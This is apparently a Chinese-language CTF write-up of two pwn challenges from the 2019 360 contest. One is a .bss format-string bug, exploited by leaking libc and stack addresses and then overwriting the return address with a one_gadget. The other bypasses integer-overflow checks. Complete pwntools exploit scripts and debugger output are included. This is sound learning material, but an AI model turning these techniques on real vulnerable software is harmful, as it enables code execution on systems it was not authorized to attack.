0%

360杯pwn部分题解

360杯pwn题解

pwn1

格式化字符串的题目,不过不是常规的栈格式化字符串,放到了bss段里的格式化字符串,当初做的时候不知道,以为常规。。。剩半个钟的时候发觉了,然后也没做了,后面复盘把他做了,发觉也不是那么一蹴而就的,有点意思

还有个点我不清楚。当时远程泄露libc我是查不到的,所以这个我不知道该如何解决?希望各位大佬能指点一二

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [esp+Ch] [ebp-14h]
char buf; // [esp+10h] [ebp-10h]
unsigned int v6; // [esp+14h] [ebp-Ch]
int *v7; // [esp+18h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
puts("welcome to 360CTF_2019");
for ( i = 0; i < N; ++i )
{
puts("1. Input");
puts("2. Exit");
read(0, &buf, 4u);
if ( atoi(&buf) != 1 )
{
if ( atoi(&buf) != 2 )
return 0;
break;
}
puts("It's time to input something");
read(0, &buff, 0x10u);
printf((const char *)&buff);
}
puts("Good luck to you!");
return 0;
}

漏洞点很明显就是格式化字符串,N数值为3,所以目前来说只有三次机会,注意buff是在bss段的

利用过程

格式化字符串第一步当然是泄露信息啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ stack 25
0000| 0xffb1738c ("!XUV\020pUV\020pUV\020")
0004| 0xffb17390 --> 0x56557010 ("%22$x%15$x\n")
0008| 0xffb17394 --> 0x56557010 ("%22$x%15$x\n")
0012| 0xffb17398 --> 0x10
0016| 0xffb1739c ("7WUV\374s\360\367\270oUVtt\261\377\001")
0020| 0xffb173a0 --> 0xf7f073fc --> 0xf7f08980 --> 0x0
0024| 0xffb173a4 --> 0x56556fb8 --> 0x1ed8
0028| 0xffb173a8 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac")
0032| 0xffb173ac --> 0x1
0036| 0xffb173b0 --> 0x1
0040| 0xffb173b4 --> 0x0
0044| 0xffb173b8 --> 0xffb10a31 --> 0x0
0048| 0xffb173bc --> 0x84188400
0052| 0xffb173c0 --> 0xffb173e0 --> 0x1
0056| 0xffb173c4 --> 0x0
0060| 0xffb173c8 --> 0x0
0064| 0xffb173cc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10)
0068| 0xffb173d0 --> 0xf7f07000 --> 0x1d6d6c
0072| 0xffb173d4 --> 0xf7f07000 --> 0x1d6d6c
0076| 0xffb173d8 --> 0x0
0080| 0xffb173dc --> 0xf7d4e7e1 (<__libc_start_main+241>: add esp,0x10)
0084| 0xffb173e0 --> 0x1
0088| 0xffb173e4 --> 0xffb17474 --> 0xffb183ba ("./7631454338ff70b1a6b1262f5f36beac")
0092| 0xffb173e8 --> 0xffb1747c --> 0xffb183dd ("MYVIMRC=/home/NoOne/.vimrc")
0096| 0xffb173ec --> 0xffb17404 --> 0x0

第一次格式化字符串我选了两个地方,%22$x%15$x
也就是上面的64跟92处,为什么选这两个位置呢?因为第一个,存了libc地址,第二个存了栈地址,并且他还有二级指针指向栈,这是必须的,因为格式化字符串写在了bss段,要在栈里写东西的话,只能通过二级指针,第一步先将这个地址泄露出来,第二步,往这个地址里写东西,因为这个地址本身就是栈里的嘛,所以写进去后,地址就在栈里了,所以就可以跟常规格式化字符串一样利用了

还有一点,只有三次机会,并且限制了大小,我第一次泄露,第二次写入要写入的地址,第三次写入的时候长度明显不够,所以我需要增大次数,所以要找到变量i或者N的地址,N的地址我是找不到,所以我找了i,他是个有符号数,我把他高位改成0xff,就可以变成负数,经过测试,上述40处为i,80处为返回地址,
返回地址

返回地址可以用find找到,找栈里的libc_start_main存在的地方就是ret

i调试下就出来了,三次会变化的地方

准备部分

1
2
3
4
5
6
7
8
9
10
11
def Input(content):
sla("2. Exit\n", "1")
sla("It's time to input something\n", content)

def write(size1, size2):
payload = "%{}p%{}$hn".format(size1, 21)
Input(payload)
payload = "%{}p%{}$hn".format(size2, 57)
Input(payload)
payload ="123456781234567"
Input(payload)

地址泄露部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#stage 1
payload = "%22$x%15$x"
Input(payload)
stack_addr = int(r(8), 16)
ret = stack_addr - 0xa0
count = stack_addr - 0xc8
__libc_start_main_addr = int(r(8), 16)-241
lg("stack_addr", stack_addr)
lg("ret_addr", ret)
lg("libc_start_main", __libc_start_main_addr)
lg("count", count)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
one_gadget = [0x1395ba, 0x1395bb]
one_gadget = libc_base + one_gadget[0]
lg("one_gadget", one_gadget)
system_addr = libc_base + libc.symbols['system']

修改变量i

1
write(0xffff & count + 2, 0xffff)

至于偏移为什么是这个,需要你们自己去调试,二级指针那个点位就是那个地方,还有修改后四位够了,栈里的位置,注意,这里是修改的是i的地址+2部分,也就是4个字节的前两个字节部分,修改为0xffff

修改ret地址

1
2
3
write(0xffff & ret, 0xffff & one_gadget)
write((0xffff&ret) + 2, (0xffff0000 & one_gadget)>>16)
sla("2. Exit\n", "2")

这里先写后两个字节,在写前两个字节,写成one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './7631454338ff70b1a6b1262f5f36beac'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)

uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda name,data : io.success(name + ": 0x%x" % data)

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))


#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: i386-32-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

def Input(content):
sla("2. Exit\n", "1")
sla("It's time to input something\n", content)

def write(size1, size2):
payload = "%{}p%{}$hn".format(size1, 21)
Input(payload)
payload = "%{}p%{}$hn".format(size2, 57)
Input(payload)
payload ="123456781234567"
Input(payload)
def exp():
#stage 1
payload = "%22$x%15$x"
Input(payload)
stack_addr = int(r(8), 16)
ret = stack_addr - 0xa0
count = stack_addr - 0xc8
__libc_start_main_addr = int(r(8), 16)-241
lg("stack_addr", stack_addr)
lg("ret_addr", ret)
lg("libc_start_main", __libc_start_main_addr)
lg("count", count)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
one_gadget = [0x1395ba, 0x1395bb]
one_gadget = libc_base + one_gadget[0]
lg("one_gadget", one_gadget)
system_addr = libc_base + libc.symbols['system']
write(0xffff & count + 2, 0xffff)
write(0xffff & ret, 0xffff & one_gadget)
#gdb.attach(io, "b printf \n c")
write((0xffff&ret) + 2, (0xffff0000 & one_gadget)>>16)
sla("2. Exit\n", "2")







if __name__ == '__main__':
exp()
io.interactive()

pwn2

这道题看着贼简单,打比赛的时候也不会做,细心想了下,我是傻逼,这道题流程很简单

1
2
3
4
5
6
7
8
9
10
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(*&argc, argv, envp);
if ( bypass1() && bypass2() )
system("cat ./flag");
else
puts("failed!");
return 0;
}

过了两个判断就拿到flag了

bypass第一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
signed __int64 bypass1()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
puts("x: ");
read(0, &s, 0x10uLL);
puts("y: ");
read(0, &buf, 0x10uLL);
if ( strchr(&s, '-') || strchr(&buf, '-') )
return 0LL;
v1 = atoi(&s);
v2 = atoi(&buf);
if ( v1 > 0x167 || v2 > 0x167 || v1 - v2 != 0x168 )
return 0LL;
puts("level1 success!");
return 1LL;
}

看着很简单,不能输入负数,然后两个数要求小于167,相减又要等于168,常规思路肯定是不行的,想想
-0x1 - (-0x169) = 0x168

这是我第一次做的时候想到的,然后实际上是误打误撞做出来的,做出来后我发觉那会不理解这道题,就重新理了下思路,发觉还是有可以学习的地方的

  1. 程序限制了不能输入负数

  2. 限制了大小

  3. 还有注意一点v1跟v2是int 4字节的,atoi转超过int最大的数值的话,会发生截断,只保留后低四个字节的值
    假设输入的是0x7FFFFFFFF 7个F他只会取到后面的0xFFFFFFFF
    所以限制输入不能带-号,而实际上内存里存值是只分大小的,所以我存0xFFFFFFFF 按有符号处理的话就是-1

  4. s串跟buf串是相邻的,填满了buf的话,会将s里的值也一起传递过来,一起转成数字,就变成一个比较大的数了

坑点: atoi函数遇到\n会停止,没有遇到就继续。。原来我用sendafter一直不行,坑了我好久

最后我用0x167-(-1)绕过了这个判断
就是输入0x167跟0x7FFFFFFFF,绕过这个判断

bypass第二个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL8 bypass2()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
puts("Please input x and y:");
__isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 360 && v1 * v2 == 360;
}

这个的话,也是利用溢出绕过,说下怎么求溢出的吧,口算也可以的嘞,不过脚本能跑就不动脑了

我要达到的数值是00000168,为任意数值,反正后4个字节得是0x168,跑一下

1
2
3
4
#!/usr/bin/env python
# coding=utf-8
for i in range(1,20):
print(i, 0x100000168/float(i))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

(1, 4294967656.0)
(2, 2147483828.0)
(3, 1431655885.3333333)
(4, 1073741914.0)
(5, 858993531.2)
(6, 715827942.6666666)
(7, 613566808.0)
(8, 536870957.0)
(9, 477218628.4444444)
(10, 429496765.6)
(11, 390451605.09090906)
(12, 357913971.3333333)
(13, 330382127.38461536)
(14, 306783404.0)
(15, 286331177.06666666)
(16, 268435478.5)
(17, 252645156.2352941)
(18, 238609314.2222222)
(19, 226050929.2631579)

我选的要是不带小数的,我看着8吉利就选了他了,
所以输入为8跟536870957

所以最后可以拿到flag了

1
2
3
4
[*] Process './5b7420a5bcdc1da85bccc62dcea4c7b8' stopped with exit code 0 (pid 16098)
[DEBUG] Received 0x27 bytes:
'cat: ./flag: No such file or directory\n'
cat: ./flag: No such file or directory

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
local = True

# Set up pwntools for the correct architecture
exe = '5b7420a5bcdc1da85bccc62dcea4c7b8'
elf = context.binary = ELF(exe)

host = '127.0.0.1'
port = 10000

#don't forget to change it
context.log_level = 'debug'
libc = elf.libc
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)

uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def exp():
sla("x: \n", str(0x167))
sla("y: \n", str(0x7ffffffff))
#sl(str(0x7ffffe98) + " " + str(0x7fffffff))
sl(str(0x8) + " " + str(536870957))
if __name__ == '__main__':
exp()
io.interactive()

总结

学了下非栈里的格式化字符串利用,还有整数溢出部分详细的了解调试了下,希望能学到更多新知识

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/3dac6f4c/
版权声明:转载请注明出处!